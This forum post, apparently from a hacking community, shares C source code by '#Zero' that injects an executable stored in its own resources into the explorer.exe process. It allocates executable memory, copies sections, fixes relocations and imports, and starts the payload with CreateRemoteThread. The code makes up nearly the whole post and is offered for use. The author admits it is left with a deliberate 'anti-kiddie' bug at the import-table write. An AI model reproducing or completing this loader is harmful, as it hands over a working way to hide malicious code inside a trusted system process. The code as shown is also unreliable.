Jump to content
Nytro

[C] Process Injection [Real Injection]

Recommended Posts

Author: #Zero

Zero:

Well, this code inject the executable that it has on resource section into 'explorer.exe' process. The code really injects the executable, this will not create a new 'explorer.exe' process.

#pragma comment (linker,"/NODEFAULTLIB")
#pragma comment (linker,"/ENTRY:main")

#include <windows.h>
#include <Tlhelp32.h>
#include "resource.h"

int main()
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INTH;
PIMAGE_SECTION_HEADER ISH;

//Cargamos el resource
HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
DWORD ResourceSize=SizeofResource(NULL,hResource);
HGLOBAL hGlob=LoadResource(NULL,hResource);
LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);

//Obtenemos la cabecera DOS y PE en las estructuras
IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

DWORD PID=0;
HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 pInfo;
pInfo.dwSize=sizeof(PROCESSENTRY32);

//Obtenemos el PID del 'explorer.exe'
Process32First(hSnapshot,&pInfo);
for(;lstrcmpA(pInfo.szExeFile,"explorer.exe");)
{
Process32Next(hSnapshot,&pInfo);
}
CloseHandle(hSnapshot);
PID=pInfo.th32ProcessID;

//Abrimos el proceso en el que nos inyectaremos
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);

//Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);

//Copiamos la cabecera DOS y PE al buffer
WriteProcessMemory(hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0);

//Copiamos las secciones en su VirtualOffset en el buffer
for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
{
ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
WriteProcessMemory(hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0);
}

//Calculamos el delta entre la dirección del buffer y el ImageBase
DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);

//------------------------------------------------------------
/* -Reubicamos la dirección base del ejecutable <img src="http://zero.serhackernoesilegal.com/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley"> - */
//------------------------------------------------------------

//Si no hay tabla de reubicación, salimos
if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0)
{
MessageBoxA(0,"No hay relocation table!",0,0);
return false;
}

//Obteemos el Image Base Relocation
//Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para
//poder trabajar con él más comodamente
PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION));
PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);

//Vamos recorriendo todas las etradas del bloque
for (DWORD n=0;IBR->VirtualAddress>0;n++)
{
//Obtenemos el Bloque de reubicación
LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);

//Obtenemos la primera entrada del bloque
LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION));

//Recorremos todas las entradas del bloque
for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
{
WORD valor;
ReadProcessMemory(hProcess,RelocationEntry,&valor,2,0);
//Obtenemos los 4 bits que definen el tipo de reubicación
DWORD type=valor>>12;

//Obtenemos los 12 bits que definen la dirección de la reubicación
DWORD offset=valor&0xFFF;

//Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
if(type==IMAGE_REL_BASED_HIGHLOW)
{
//Añadimos a la dirección que depende del imagebase original
//el delta entre el imagebase y nuestra dirección base
LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
DWORD NewValue;
ReadProcessMemory(hProcess,newAddr,&NewValue,4,0);
NewValue+=Delta;
WriteProcessMemory(hProcess,newAddr,&NewValue,4,0);
}
}

//Vamos al siguiente bloque
PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock);
ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
}
GlobalFree(IBR);

//---------------------------------------------------------------------
/* -Cargamos los valores de la IAT para poder llamar a las apis- */
//---------------------------------------------------------------------

PIMAGE_THUNK_DATA ITD;
PIMAGE_THUNK_DATA PITD;
PIMAGE_IMPORT_BY_NAME IIBN;

//Comprobamos si hay Import Data Descriptor
if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
{

//Obtenemos el Import Data Descriptor
//Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para
//poder trabajar con él más comodamente
PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR));
PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);

//Vamos recorriendo todas las Dll's importadas por el ejecutable
for (;IID->Name;)
{
//Obtenemos la longitud del nombre de la dll
DWORD szName=0;
CHAR miByte=1;
for(int i=0;miByte;i++)
{
szName=i;
ReadProcessMemory(hProcess,ExeBuffer+IID->Name+i,&miByte,1,0);
}

//Obtenemos el nombre de la dll
LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1);
ReadProcessMemory(hProcess,ExeBuffer+IID->Name,lpName,szName+1,0);

//Cargamos la dll
HMODULE hLib=LoadLibraryA(lpName);

//Obtenemos la dirección al primer miembro del array Image Thunk Data's
PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA));
ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);

//Vamos recorriendo las funciones importadas
for (;ITD->u1.Ordinal;)
{
miByte=1;
//Obtenemos la longitud del nombre de la API
for(int i=0;miByte;i++)
{
szName=i;
LPSTR puntero=ExeBuffer+ITD->u1.Function+2;
puntero+=i;
ReadProcessMemory(hProcess,puntero,&miByte,1,0);
}

//Cargamos el Image Import By Name para obtener el nombre
IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName);
ReadProcessMemory(hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0);

//Obtenemos la dirección de la función y la guardamos en la IAT
DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
WriteProcessMemory(hProcess,ExeBuffer+IID->FirstThunk,&lpAPI,4,0); /* Error HERE!*/

PITD++;
ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
}
PIID++;
ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
GlobalFree(lpName);
GlobalFree(ITD);
}
GlobalFree(IID);
}

//Obteemos el EntryPoint de ejecutable que cargamos en el buffer
DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint;

//Llamamos al EntryPoint
CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)EntryPoint,0,0,0);

return 0;
}

Some users told me that with some executables the code is not running. I tried to fix it for a long time, but i couldn't do it yet, so with executables who uses de C Run Time Library or some similar, code could fail.

Furthermore, I let a anti-kiddie mistake, marked with a "Error Here" comment.

Zero

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...